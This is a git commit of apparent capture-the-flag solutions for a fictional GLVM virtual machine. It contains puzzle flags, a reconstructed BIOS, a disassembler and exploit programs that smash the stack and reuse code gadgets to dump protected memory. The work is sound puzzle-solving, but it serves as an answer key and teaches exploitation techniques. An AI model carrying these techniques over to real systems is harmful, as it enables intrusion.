mid-kid
2 years ago
commit
560d0dfe3e
38 changed files with 4900 additions and 0 deletions
@ -0,0 +1 @@ |
|||||
|
FOOLS2023_{ThisDefinitelyCountsAsBinaryExploitation} |
Binary file not shown.
@ -0,0 +1 @@ |
|||||
|
sdfhkdsh sjdfhkdsfh testing file functions FOOLS2023_{ThisFileDoesNotExist} |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -0,0 +1,21 @@ |
|||||
|
to do list |
||||
|
- revisit the sentience issues in the battle program (missingno addressing players?) |
||||
|
- upgrade slower processor on grlts02 |
||||
|
- add glvm disassembler to language monitor <----- URGENT, REQUIRED FOR GLVM TRANSITION |
||||
|
decide on disassembly syntax too |
||||
|
|
||||
|
FOOLS2023_{OhLookThereIsATextFile} |
||||
|
|
||||
|
PrintStr = 0x0008 |
||||
|
StrCmp = 0x0010 |
||||
|
FindIndex = 0x0018 |
||||
|
ConvertHex = 0x0020 |
||||
|
MemCpy = 0x0028 |
||||
|
ReadStr = 0x0030 |
||||
|
StrTrim = 0x0038 |
||||
|
MemSet = 0x0040 |
||||
|
|
||||
|
2319 |
||||
|
2324 |
||||
|
2331 |
||||
|
far red close blue |
Binary file not shown.
@ -0,0 +1 @@ |
|||||
|
FOOLS2023_{SolidAuthenticationScheme} |
Binary file not shown.
Binary file not shown.
@ -0,0 +1,38 @@ |
|||||
|
OBJCOPY ?= objcopy |
||||
|
|
||||
|
LDFLAGS := -Ttext=0x2000 |
||||
|
|
||||
|
.PHONY: all |
||||
|
all: mathtest.prg report03.prg monitor.prg bios.prg grlinfsrv.prg monitor02.prg mixtest.prg |
||||
|
diff mathtest.prg ../GRLTS01/MATHTEST.PRG |
||||
|
diff report03.prg ../GRLTS01/REPORT03.PRG |
||||
|
diff monitor.prg ../GRLTS01/MONITOR.PRG |
||||
|
diff bios.prg ../GRLTS01/BIOS.PRG |
||||
|
diff grlinfsrv.prg ../GRLINFSRV/GRLINFSRV.PRG |
||||
|
diff monitor02.prg ../GRLTS02/MONITOR.PRG |
||||
|
diff mixtest.prg ../GRLTS02/MIXTEST.PRG |
||||
|
|
||||
|
.PHONY: clean |
||||
|
clean: |
||||
|
rm -f *.elf *.prg custom/*.prg |
||||
|
|
||||
|
.INTERMEDIATE: monitor.elf |
||||
|
monitor.elf: LDFLAGS := -Ttext=0xE000 |
||||
|
|
||||
|
.INTERMEDIATE: bios.elf |
||||
|
bios.elf: LDFLAGS := -Ttext=0x0000 |
||||
|
|
||||
|
.INTERMEDIATE: grlinfsrv.elf |
||||
|
grlinfsrv.elf: LDFLAGS := -Ttext=0xF000 |
||||
|
|
||||
|
.INTERMEDIATE: monitor02.elf |
||||
|
monitor02.elf: LDFLAGS := -Ttext=0xE000 |
||||
|
|
||||
|
%.o: %.asm instr.inc |
||||
|
$(COMPILE.s) $(OUTPUT_OPTION) $< |
||||
|
|
||||
|
%.elf: %.o |
||||
|
$(LD) $(LDFLAGS) $(OUTPUT_OPTION) $^ |
||||
|
|
||||
|
%.prg: %.elf |
||||
|
$(OBJCOPY) -j .text -O binary $< $@ |
@ -0,0 +1,318 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
|
||||
|
_entry_Null: |
||||
|
.fill 8, 1, 0xff |
||||
|
|
||||
|
_entry_PrintStr: |
||||
|
jp bios_PrintStr |
||||
|
|
||||
|
.fill (0x10 - (. - _start)), 1, 0 |
||||
|
_entry_StrCmp: |
||||
|
jp bios_StrCmp |
||||
|
|
||||
|
.fill (0x18 - (. - _start)), 1, 0 |
||||
|
_entry_FindIndex: |
||||
|
jp bios_FindIndex |
||||
|
|
||||
|
.fill (0x20 - (. - _start)), 1, 0 |
||||
|
_entry_ConvertHex: |
||||
|
jp bios_ConvertHex |
||||
|
|
||||
|
.fill (0x28 - (. - _start)), 1, 0 |
||||
|
_entry_MemCpy: |
||||
|
jp bios_MemCpy |
||||
|
|
||||
|
.fill (0x30 - (. - _start)), 1, 0 |
||||
|
_entry_ReadStr: |
||||
|
jp bios_ReadStr |
||||
|
|
||||
|
.fill (0x38 - (. - _start)), 1, 0 |
||||
|
_entry_StrTrim: |
||||
|
jp bios_StrTrim |
||||
|
|
||||
|
.fill (0x40 - (. - _start)), 1, 0 |
||||
|
_entry_MemSet: |
||||
|
|
||||
|
bios_ret: |
||||
|
ret |
||||
|
|
||||
|
# in: R2=str |
||||
|
bios_PrintStr: |
||||
|
cp_r2 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
|
||||
|
# Interpret special bytes |
||||
|
ldrb_r0_r2 |
||||
|
cp_r0 0 |
||||
|
jp_eq bios_PrintStr_ret |
||||
|
cp_r0 0xf0 |
||||
|
jp_eq bios_PrintStr_ram_word |
||||
|
cp_r0 0xf1 |
||||
|
jp_eq bios_PrintStr_ram_byte |
||||
|
|
||||
|
# Print the byte |
||||
|
copr_putc |
||||
|
inc_r2 |
||||
|
jp bios_PrintStr |
||||
|
|
||||
|
bios_PrintStr_ret: |
||||
|
ret |
||||
|
|
||||
|
bios_PrintStr_ram_word: |
||||
|
# Grab the word pointed to |
||||
|
inc_r2 |
||||
|
ldr_r0_r2 |
||||
|
cp_r0 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
ldr_r0_r0 |
||||
|
|
||||
|
# Print it |
||||
|
call bios_PrintHex_word |
||||
|
inc_r2 |
||||
|
inc_r2 |
||||
|
jp bios_PrintStr |
||||
|
|
||||
|
bios_PrintStr_ram_byte: |
||||
|
# Grab the byte pointed to |
||||
|
inc_r2 |
||||
|
ldr_r0_r2 |
||||
|
cp_r0 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
ldrb_r0_r0 |
||||
|
|
||||
|
# Print it |
||||
|
call bios_PrintHex_byte |
||||
|
inc_r2 |
||||
|
inc_r2 |
||||
|
jp bios_PrintStr |
||||
|
|
||||
|
# in: R2=one R3=two |
||||
|
# re: R0=res |
||||
|
bios_StrCmp: |
||||
|
cp_r2 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
cp_r3 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
|
||||
|
# Check the bytes |
||||
|
ldrb_r0_r2 |
||||
|
ldrb_r1_r3 |
||||
|
cp_r0_r1 |
||||
|
jp_ne bios_StrCmp_ret |
||||
|
cp_r0 0 |
||||
|
jp_eq bios_StrCmp_ret |
||||
|
|
||||
|
# Keep looping |
||||
|
inc_r2 |
||||
|
inc_r3 |
||||
|
jp bios_StrCmp |
||||
|
|
||||
|
bios_StrCmp_ret: |
||||
|
ret |
||||
|
|
||||
|
bios_PrintHex_word: |
||||
|
swap_r0 |
||||
|
call bios_PrintHex |
||||
|
swap_r0 |
||||
|
|
||||
|
bios_PrintHex_byte: |
||||
|
call bios_PrintHex |
||||
|
ret |
||||
|
|
||||
|
bios_PrintHex: |
||||
|
# Print the high nybble |
||||
|
push_r0 |
||||
|
shr_r0 |
||||
|
shr_r0 |
||||
|
shr_r0 |
||||
|
shr_r0 |
||||
|
and_r0 0xf |
||||
|
call bios_PrintHex_nybble |
||||
|
pop_r0 |
||||
|
|
||||
|
# Print the low nybble |
||||
|
push_r0 |
||||
|
and_r0 0xf |
||||
|
call bios_PrintHex_nybble |
||||
|
pop_r0 |
||||
|
ret |
||||
|
|
||||
|
bios_PrintHex_nybble: |
||||
|
add_r0 bios_PrintHex_chars |
||||
|
ldrb_r0_r0 |
||||
|
copr_putc |
||||
|
ret |
||||
|
|
||||
|
bios_PrintHex_chars: |
||||
|
.ascii "0123456789ABCDEF" |
||||
|
|
||||
|
# in: R2=table R3=value |
||||
|
# re: R0=index (err=-1) |
||||
|
bios_FindIndex: |
||||
|
ld_r1 -1 |
||||
|
|
||||
|
bios_FindIndex_loop: |
||||
|
inc_r1 |
||||
|
cp_r2 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
ldrb_r0_r2 |
||||
|
inc_r2 |
||||
|
|
||||
|
cp_r0 0xff |
||||
|
jp_eq bios_FindIndex_end |
||||
|
cp_r0_r3 |
||||
|
jp_ne bios_FindIndex_loop |
||||
|
ld_r0_r1 |
||||
|
ret |
||||
|
|
||||
|
bios_FindIndex_end: |
||||
|
ld_r0 -1 |
||||
|
ret |
||||
|
|
||||
|
bios_FindIndexUnsafe: |
||||
|
ld_r1 -1 |
||||
|
|
||||
|
bios_FindIndexUnsafe_loop: |
||||
|
inc_r1 |
||||
|
ldrb_r0_r2 |
||||
|
inc_r2 |
||||
|
|
||||
|
cp_r0 0xff |
||||
|
jp_eq bios_FindIndexUnsafe_end |
||||
|
cp_r0_r3 |
||||
|
jp_ne bios_FindIndexUnsafe_loop |
||||
|
ld_r0_r1 |
||||
|
ret |
||||
|
|
||||
|
bios_FindIndexUnsafe_end: |
||||
|
ld_r0 -1 |
||||
|
ret |
||||
|
|
||||
|
.ascii "\0\0\0" |
||||
|
.ascii "Glitch Research Laboratory GLVM BIOS version 1.3" |
||||
|
.ascii " / " |
||||
|
.ascii "Do not distribute!" |
||||
|
.ascii " / " |
||||
|
.ascii "FOOLS2023_{DumpingWasAnInsideJob}" |
||||
|
.ascii "\0\0\0" |
||||
|
|
||||
|
# in: R2=mem |
||||
|
# re: R0=res (err=-1) |
||||
|
bios_ConvertHex: |
||||
|
ld_r3 0 |
||||
|
|
||||
|
bios_ConvertHex_loop: |
||||
|
cp_r2 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
ldrb_r0_r2 |
||||
|
inc_r2 |
||||
|
|
||||
|
cp_r0 0 |
||||
|
jp_eq bios_ConvertHex_end |
||||
|
cp_r0 '\n' |
||||
|
jp_eq bios_ConvertHex_end |
||||
|
|
||||
|
# Move previous r3 value to high nybble |
||||
|
add_r3_r3 |
||||
|
add_r3_r3 |
||||
|
add_r3_r3 |
||||
|
add_r3_r3 |
||||
|
|
||||
|
# Find the index of the character |
||||
|
push_r2 |
||||
|
push_r3 |
||||
|
ld_r2 bios_ConvertHex_hextable |
||||
|
ld_r3_r0 |
||||
|
call bios_FindIndexUnsafe |
||||
|
pop_r3 |
||||
|
pop_r2 |
||||
|
cp_r0 -1 |
||||
|
jp_eq bios_ConvertHex_ret |
||||
|
|
||||
|
# Get the value of the character |
||||
|
ld_r1 bios_ConvertHex_valtable |
||||
|
add_r1_r0 |
||||
|
ldrb_r1_r1 |
||||
|
|
||||
|
# Add current nybble to result |
||||
|
add_r3_r1 |
||||
|
jp bios_ConvertHex_loop |
||||
|
|
||||
|
bios_ConvertHex_end: |
||||
|
ld_r0_r3 |
||||
|
|
||||
|
bios_ConvertHex_ret: |
||||
|
ret |
||||
|
|
||||
|
bios_ConvertHex_hextable: |
||||
|
.ascii "0123456789abcdefABCDEF" |
||||
|
.byte 0xff |
||||
|
|
||||
|
bios_ConvertHex_valtable: |
||||
|
.byte 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 |
||||
|
.byte 10, 11, 12, 13, 14, 15 |
||||
|
.byte 0xff |
||||
|
|
||||
|
# in: R1=size R2=dst R3=src |
||||
|
bios_MemCpy: |
||||
|
cp_r3 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
cp_r2 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
ldrb_r0_r3 |
||||
|
strb_r0_r2 |
||||
|
inc_r3 |
||||
|
inc_r2 |
||||
|
dec_r1 |
||||
|
cp_r1 0 |
||||
|
jp_ne bios_MemCpy |
||||
|
ret |
||||
|
|
||||
|
# in: R2=mem R3=size |
||||
|
bios_ReadStr: |
||||
|
copr_getc |
||||
|
cp_r2 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
strb_r0_r2 |
||||
|
|
||||
|
# Read until the next newline |
||||
|
cp_r0 '\n' |
||||
|
jp_eq bios_ReadStr_end |
||||
|
|
||||
|
# Skip characters if the size has ran out |
||||
|
cp_r3 0 |
||||
|
jp_eq bios_ReadStr_skip |
||||
|
inc_r2 |
||||
|
dec_r3 |
||||
|
bios_ReadStr_skip: |
||||
|
jp bios_ReadStr |
||||
|
|
||||
|
bios_ReadStr_end: |
||||
|
# Add string terminator |
||||
|
inc_r2 |
||||
|
ld_r0 0 |
||||
|
strb_r0_r2 |
||||
|
ret |
||||
|
|
||||
|
# in: R2=mem |
||||
|
bios_StrTrim: |
||||
|
# Find the first whitespace |
||||
|
ldrb_r0_r2 |
||||
|
cp_r0 '\n' |
||||
|
jp_eq bios_StrTrim_end |
||||
|
cp_r0 0 |
||||
|
jp_eq bios_StrTrim_end |
||||
|
inc_r2 |
||||
|
jp bios_StrTrim |
||||
|
|
||||
|
bios_StrTrim_end: |
||||
|
# Write a string terminator |
||||
|
ld_r0 0 |
||||
|
cp_r2 0x1000 |
||||
|
jp_hi bios_ret |
||||
|
strb_r0_r2 |
||||
|
ret |
@ -0,0 +1,44 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
copr 0x66 |
||||
|
copr 0x64 # 0x539 |
||||
|
ld_r0 0x24 |
||||
|
copr 0x65 |
||||
|
copr 0x64 # 0x4c22 |
||||
|
ld_r0 0x8b |
||||
|
copr 0x65 |
||||
|
copr 0x64 # 0x9e3f |
||||
|
ld_r0 0xc9 |
||||
|
copr 0x65 |
||||
|
copr 0x64 # 0x9610 |
||||
|
ld_r0 0xc4 |
||||
|
copr 0x65 |
||||
|
copr 0x64 # 0x0 |
||||
|
ld_r0 0 |
||||
|
copr 0x65 |
||||
|
copr 0x64 # 0x403d |
||||
|
ld_r0 0x80 |
||||
|
copr 0x65 |
||||
|
copr 0x64 # 0x3021 |
||||
|
ld_r0 0x6f |
||||
|
copr 0x65 |
||||
|
copr 0x64 # 0x1e61 |
||||
|
ld_r0 0x58 |
||||
|
copr 0x65 |
||||
|
ret |
||||
|
|
||||
|
#loop: |
||||
|
# copr 0x64 |
||||
|
# brk # Write answer to 0xfb3e |
||||
|
# copr 0x65 |
||||
|
# cp_r0 1 |
||||
|
# jp_ne end |
||||
|
# jp loop |
||||
|
# |
||||
|
#err: |
||||
|
# ld_r1 -1 |
||||
|
# brk |
||||
|
# ret |
@ -0,0 +1,12 @@ |
|||||
|
#!/usr/bin/env python3 |
||||
|
|
||||
|
from sys import argv |
||||
|
from math import sqrt |
||||
|
|
||||
|
res = int(sqrt(int(argv[1], 16))) & 0xFFFF |
||||
|
|
||||
|
print("w") |
||||
|
print("fb3e") |
||||
|
print("%02x%02x" % (res & 0xFF, res >> 8)) |
||||
|
print(".") |
||||
|
print("c") |
@ -0,0 +1,29 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
.set org, 0xf753 |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
# Relocate |
||||
|
ld_r1 (stack - main) |
||||
|
ld_r2 main |
||||
|
ld_r3 (main - 0x2000 + org) |
||||
|
call MemCpy |
||||
|
jp main |
||||
|
|
||||
|
main: |
||||
|
# Receive a replacement monitor rom |
||||
|
ld_r3 0xf000 |
||||
|
main_loop: |
||||
|
copr_getc |
||||
|
strb_r0_r3 |
||||
|
inc_r3 |
||||
|
cp_r3 0 |
||||
|
jp_ne main_loop |
||||
|
jp 0xf000 |
||||
|
|
||||
|
.fill (0xfe00 - org) - (. - _start), 1, 0x00 |
||||
|
stack: |
||||
|
.byte 0x12, 0x34, 0x56, 0x78 # Replace with stack cookie |
||||
|
.fill (0x100 / 2) - 2, 2, org |
@ -0,0 +1,72 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
# Failed techniques: |
||||
|
# - reading with stack pointer |
||||
|
# - using a function stored in bios (memcpy, readstr+text_ram_byte) |
||||
|
# - using undocumented copr commands |
||||
|
# - inspecting the stack and calling different code in the bios |
||||
|
|
||||
|
# Approach used: |
||||
|
# - Load REPORT03.PRG into bios area |
||||
|
# - Call some of its code to exfiltrate data |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
jp simple |
||||
|
|
||||
|
# Full approach relying on REPORT03.PRG |
||||
|
ld_r0 0x8 |
||||
|
ld_r1 0xf00 |
||||
|
copr_readblk |
||||
|
|
||||
|
ld_r2 0 |
||||
|
ld_r3 0x1000 |
||||
|
loop: |
||||
|
# Read the byte |
||||
|
push_r3 |
||||
|
call get_byte |
||||
|
pop_r3 |
||||
|
|
||||
|
# Store the byte |
||||
|
push_r2 |
||||
|
ld_r2_r3 |
||||
|
str_r0_r2 |
||||
|
pop_r2 |
||||
|
|
||||
|
# Increment the pointer |
||||
|
inc_r3 |
||||
|
inc_r3 |
||||
|
cp_r3 0x2000 |
||||
|
jp_ne loop |
||||
|
|
||||
|
# Hexdump the retrieved data |
||||
|
pop_r3 |
||||
|
ld_r2 0x1000 |
||||
|
ld_r3 (32 * 0x10) |
||||
|
jp 0xf12d # cmd_read_loop |
||||
|
|
||||
|
get_byte: |
||||
|
# Load byte from r2 into r0, trash all regs |
||||
|
ld_r0 0 |
||||
|
ld_r3 0 |
||||
|
jp 0xf66 |
||||
|
.fill 0x63 - (. - _start), 1, 0 |
||||
|
# Code at 0xf66 jumps here after completion |
||||
|
ret |
||||
|
|
||||
|
# Simpler approach learned after dumping the bios |
||||
|
simple: |
||||
|
ld_r1 0x1000 |
||||
|
ld_r2 0x1000 |
||||
|
ld_r3 0 |
||||
|
simple_loop: |
||||
|
call 0x1e8 |
||||
|
cp_r1 0 |
||||
|
jp_ne simple_loop |
||||
|
|
||||
|
pop_r3 |
||||
|
ld_r2 0x1000 |
||||
|
ld_r3 (32 * 0x10) |
||||
|
jp 0xf12d # cmd_read_loop |
||||
|
#jp 0xf48a # GRLTS02 monitor |
@ -0,0 +1,18 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
ld_r2 0x1fe0 |
||||
|
ld_r3 0x10 |
||||
|
call ReadStr |
||||
|
ld_r2 0x1fe0 |
||||
|
call ConvertHex |
||||
|
|
||||
|
ld_r1 0x1000 |
||||
|
copr_readblk |
||||
|
|
||||
|
pop_r3 |
||||
|
ld_r2 0x1000 |
||||
|
ld_r3 32 |
||||
|
jp 0xf12d |
@ -0,0 +1,89 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
ld_r0 0x40ff |
||||
|
ld_r1 0x50ff |
||||
|
ld_r2 0x60ff |
||||
|
ld_r3 0x70ff |
||||
|
|
||||
|
mix |
||||
|
mix1_ld_r1 mem_password |
||||
|
mix1_inc_r1 |
||||
|
mix1_ldr_r0_r1 |
||||
|
mix1_ld_r1 0x5871 |
||||
|
mix1_cp_r0_r1 |
||||
|
mix1_jp_ne loc_203b |
||||
|
mix1_inc_r3 |
||||
|
loc_203b: |
||||
|
mix1_switch2 |
||||
|
mix2_ldr_r0 mem_password + 3 |
||||
|
mix2_xor_r0 0x54c2 |
||||
|
mix2_cp_r0 0x6da4 |
||||
|
mix2_jp_ne loc_2049 |
||||
|
mix2_inc_r3 |
||||
|
loc_2049: |
||||
|
mix2_switch3 |
||||
|
mix3_ld_r1 mem_password + 1 |
||||
|
mix3_dec_r1 |
||||
|
mix3_ldrb_r0_r1 |
||||
|
mix3_add_r0_r0 |
||||
|
mix3_add_r0_r0 |
||||
|
mix3_cp_r0 0x011c |
||||
|
mix3_jp_ne loc_2058 |
||||
|
mix3_inc_r3 |
||||
|
loc_2058: |
||||
|
mix3_ld_r0 -1 |
||||
|
mix3_end |
||||
|
|
||||
|
ld_r2 -1 |
||||
|
brk |
||||
|
brk |
||||
|
brk |
||||
|
brk |
||||
|
|
||||
|
# ld_r0 0xab67 |
||||
|
# ld_r1 0x1234 |
||||
|
#loop: |
||||
|
# strb_r0 mod + 1 |
||||
|
# brk |
||||
|
#mod: |
||||
|
# copr 0 |
||||
|
# brk |
||||
|
# inc_r0 |
||||
|
# jp loop |
||||
|
# ret |
||||
|
|
||||
|
ld_r2 str_yes |
||||
|
jp_eq end |
||||
|
ld_r2 str_no |
||||
|
end: |
||||
|
call PrintStr |
||||
|
ret |
||||
|
|
||||
|
break: |
||||
|
ld_r0 -1 |
||||
|
brk |
||||
|
ret |
||||
|
|
||||
|
mem_test: |
||||
|
.2byte 0x1000 |
||||
|
mem_test2: |
||||
|
.2byte 0x1100 |
||||
|
mem_test3: |
||||
|
.2byte 0x1200 |
||||
|
mem_test4: |
||||
|
.2byte 0x1300 |
||||
|
|
||||
|
mem_input: |
||||
|
.ascii "A\0" # 0x9ec0 |
||||
|
|
||||
|
str_yes: |
||||
|
.ascii "yes\n\0" |
||||
|
str_no: |
||||
|
.ascii "no\n\0" |
||||
|
|
||||
|
.fill 0x100 - (. - _start) |
||||
|
mem_password: |
||||
|
.byte 0x47, 0x71, 0x58, 0x66, 0x39, 0x06, 0x07, 0x08 |
@ -0,0 +1,292 @@ |
|||||
|
#!/usr/bin/env python3 |
||||
|
|
||||
|
from sys import argv |
||||
|
|
||||
|
base = 0x2000 |
||||
|
file = argv[1] |
||||
|
addr = int(argv[2], 16) - base |
||||
|
|
||||
|
instrs = { |
||||
|
0x00: ("brk", 1), |
||||
|
0x01: ("mul_r0", 3), |
||||
|
0x02: ("mul_r0_r1", 1), |
||||
|
0x03: ("div_r0", 3), |
||||
|
0x04: ("div_r0_r1", 1), |
||||
|
0x05: ("ret", 1), |
||||
|
0x06: ("copr", 2), |
||||
|
0x07: ("illegal_07", 1), |
||||
|
0x08: ("nop", 1), |
||||
|
0x09: ("ld_sp", 3), |
||||
|
0x0a: ("ld_r0_sp", 1), |
||||
|
0x0b: ("ld_sp_r0", 1), |
||||
|
0x0c: ("nop_0c", 1), |
||||
|
0x0d: ("illegal_0d", 1), |
||||
|
0x0e: ("shl_r0", 1), |
||||
|
0x0f: ("shr_r0", 1), |
||||
|
0x10: ("ld_r0", 3), |
||||
|
0x11: ("ld_r1", 3), |
||||
|
0x12: ("ld_r2", 3), |
||||
|
0x13: ("ld_r3", 3), |
||||
|
0x14: ("illegal_14", 1), |
||||
|
0x15: ("illegal_15", 1), |
||||
|
0x16: ("illegal_16", 1), |
||||
|
0x17: ("illegal_17", 1), |
||||
|
0x18: ("illegal_18", 1), |
||||
|
0x19: ("illegal_19", 1), |
||||
|
0x1a: ("illegal_1a", 1), |
||||
|
0x1b: ("illegal_1b", 1), |
||||
|
0x1c: ("illegal_1c", 1), |
||||
|
0x1d: ("illegal_1d", 1), |
||||
|
0x1e: ("illegal_1e", 1), |
||||
|
0x1f: ("illegal_1f", 1), |
||||
|
0x20: ("ld_r0_r0", 1), |
||||
|
0x21: ("ld_r0_r1", 1), |
||||
|
0x22: ("ld_r0_r2", 1), |
||||
|
0x23: ("ld_r0_r3", 1), |
||||
|
0x24: ("ld_r1_r0", 1), |
||||
|
0x25: ("ld_r1_r1", 1), |
||||
|
0x26: ("ld_r1_r2", 1), |
||||
|
0x27: ("ld_r1_r3", 1), |
||||
|
0x28: ("ld_r2_r0", 1), |
||||
|
0x29: ("ld_r2_r1", 1), |
||||
|
0x2a: ("ld_r2_r2", 1), |
||||
|
0x2b: ("ld_r2_r3", 1), |
||||
|
0x2c: ("ld_r3_r0", 1), |
||||
|
0x2d: ("ld_r3_r1", 1), |
||||
|
0x2e: ("ld_r3_r2", 1), |
||||
|
0x2f: ("ld_r3_r3", 1), |
||||
|
0x30: ("add_r0_r0", 1), |
||||
|
0x31: ("add_r0_r1", 1), |
||||
|
0x32: ("add_r0_r2", 1), |
||||
|
0x33: ("add_r0_r3", 1), |
||||
|
0x34: ("add_r1_r0", 1), |
||||
|
0x35: ("add_r1_r1", 1), |
||||
|
0x36: ("add_r1_r2", 1), |
||||
|
0x37: ("add_r1_r3", 1), |
||||
|
0x38: ("add_r2_r0", 1), |
||||
|
0x39: ("add_r2_r1", 1), |
||||
|
0x3a: ("add_r2_r2", 1), |
||||
|
0x3b: ("add_r2_r3", 1), |
||||
|
0x3c: ("add_r3_r0", 1), |
||||
|
0x3d: ("add_r3_r1", 1), |
||||
|
0x3e: ("add_r3_r2", 1), |
||||
|
0x3f: ("add_r3_r3", 1), |
||||
|
0x40: ("ldrb_r0_r0", 1), |
||||
|
0x41: ("ldrb_r0_r1", 1), |
||||
|
0x42: ("ldrb_r0_r2", 1), |
||||
|
0x43: ("ldrb_r0_r3", 1), |
||||
|
0x44: ("ldrb_r1_r0", 1), |
||||
|
0x45: ("ldrb_r1_r1", 1), |
||||
|
0x46: ("ldrb_r1_r2", 1), |
||||
|
0x47: ("ldrb_r1_r3", 1), |
||||
|
0x48: ("ldrb_r2_r0", 1), |
||||
|
0x49: ("ldrb_r2_r1", 1), |
||||
|
0x4a: ("ldrb_r2_r2", 1), |
||||
|
0x4b: ("ldrb_r2_r3", 1), |
||||
|
0x4c: ("ldrb_r3_r0", 1), |
||||
|
0x4d: ("ldrb_r3_r1", 1), |
||||
|
0x4e: ("ldrb_r3_r2", 1), |
||||
|
0x4f: ("ldrb_r3_r3", 1), |
||||
|
0x50: ("ldr_r0_r0", 1), |
||||
|
0x51: ("ldr_r0_r1", 1), |
||||
|
0x52: ("ldr_r0_r2", 1), |
||||
|
0x53: ("ldr_r0_r3", 1), |
||||
|
0x54: ("ldr_r1_r0", 1), |
||||
|
0x55: ("ldr_r1_r1", 1), |
||||
|
0x56: ("ldr_r1_r2", 1), |
||||
|
0x57: ("ldr_r1_r3", 1), |
||||
|
0x58: ("ldr_r2_r0", 1), |
||||
|
0x59: ("ldr_r2_r1", 1), |
||||
|
0x5a: ("ldr_r2_r2", 1), |
||||
|
0x5b: ("ldr_r2_r3", 1), |
||||
|
0x5c: ("ldr_r3_r0", 1), |
||||
|
0x5d: ("ldr_r3_r1", 1), |
||||
|
0x5e: ("ldr_r3_r2", 1), |
||||
|
0x5f: ("ldr_r3_r3", 1), |
||||
|
0x60: ("strb_r0_r0", 1), |
||||
|
0x61: ("strb_r1_r0", 1), |
||||
|
0x62: ("strb_r2_r0", 1), |
||||
|
0x63: ("strb_r3_r0", 1), |
||||
|
0x64: ("strb_r0_r1", 1), |
||||
|
0x65: ("strb_r1_r1", 1), |
||||
|
0x66: ("strb_r2_r1", 1), |
||||
|
0x67: ("strb_r3_r1", 1), |
||||
|
0x68: ("strb_r0_r2", 1), |
||||
|
0x69: ("strb_r1_r2", 1), |
||||
|
0x6a: ("strb_r2_r2", 1), |
||||
|
0x6b: ("strb_r3_r2", 1), |
||||
|
0x6c: ("strb_r0_r3", 1), |
||||
|
0x6d: ("strb_r1_r3", 1), |
||||
|
0x6e: ("strb_r2_r3", 1), |
||||
|
0x6f: ("strb_r3_r3", 1), |
||||
|
0x70: ("str_r0_r0", 1), |
||||
|
0x71: ("str_r1_r0", 1), |
||||
|
0x72: ("str_r2_r0", 1), |
||||
|
0x73: ("str_r3_r0", 1), |
||||
|
0x74: ("str_r0_r1", 1), |
||||
|
0x75: ("str_r1_r1", 1), |
||||
|
0x76: ("str_r2_r1", 1), |
||||
|
0x77: ("str_r3_r1", 1), |
||||
|
0x78: ("str_r0_r2", 1), |
||||
|
0x79: ("str_r1_r2", 1), |
||||
|
0x7a: ("str_r2_r2", 1), |
||||
|
0x7b: ("str_r3_r2", 1), |
||||
|
0x7c: ("str_r0_r3", 1), |
||||
|
0x7d: ("str_r1_r3", 1), |
||||
|
0x7e: ("str_r2_r3", 1), |
||||
|
0x7f: ("str_r3_r3", 1), |
||||
|
0x80: ("cp_r0_r0", 1), |
||||
|
0x81: ("cp_r0_r1", 1), |
||||
|
0x82: ("cp_r0_r2", 1), |
||||
|
0x83: ("cp_r0_r3", 1), |
||||
|
0x84: ("cp_r1_r0", 1), |
||||
|
0x85: ("cp_r1_r1", 1), |
||||
|
0x86: ("cp_r1_r2", 1), |
||||
|
0x87: ("cp_r1_r3", 1), |
||||
|
0x88: ("cp_r2_r0", 1), |
||||
|
0x89: ("cp_r2_r1", 1), |
||||
|
0x8a: ("cp_r2_r2", 1), |
||||
|
0x8b: ("cp_r2_r3", 1), |
||||
|
0x8c: ("cp_r3_r0", 1), |
||||
|
0x8d: ("cp_r3_r1", 1), |
||||
|
0x8e: ("cp_r3_r2", 1), |
||||
|
0x8f: ("cp_r3_r3", 1), |
||||
|
0x90: ("push_r0", 1), |
||||
|
0x91: ("push_r1", 1), |
||||
|
0x92: ("push_r2", 1), |
||||
|
0x93: ("push_r3", 1), |
||||
|
0x94: ("pop_r0", 1), |
||||
|
0x95: ("pop_r1", 1), |
||||
|
0x96: ("pop_r2", 1), |
||||
|
0x97: ("pop_r3", 1), |
||||
|
0x98: ("jp", 3), |
||||
|
0x99: ("call", 3), |
||||
|
0x9a: ("jp_hi", 3), |
||||
|
0x9b: ("jp_lo", 3), |
||||
|
0x9c: ("jp_eq", 3), |
||||
|
0x9d: ("jp_ne", 3), |
||||
|
0x9e: ("call_hi", 3), |
||||
|
0x9f: ("call_lo", 3), |
||||
|
0xa0: ("call_eq", 3), |
||||
|
0xa1: ("call_ne", 3), |
||||
|
0xa2: ("cp_r0", 3), |
||||
|
0xa3: ("cp_r1", 3), |
||||
|
0xa4: ("cp_r2", 3), |
||||
|
0xa5: ("cp_r3", 3), |
||||
|
0xa6: ("push_sp", 1), |
||||
|
0xa7: ("push_pc", 1), |
||||
|
0xa8: ("inc_r0", 1), |
||||
|
0xa9: ("inc_r1", 1), |
||||
|
0xaa: ("inc_r2", 1), |
||||
|
0xab: ("inc_r3", 1), |
||||
|
0xac: ("dec_r0", 1), |
||||
|
0xad: ("dec_r1", 1), |
||||
|
0xae: ("dec_r2", 1), |
||||
|
0xaf: ("dec_r3", 1), |
||||
|
0xb0: ("ldrb_r0", 3), |
||||
|
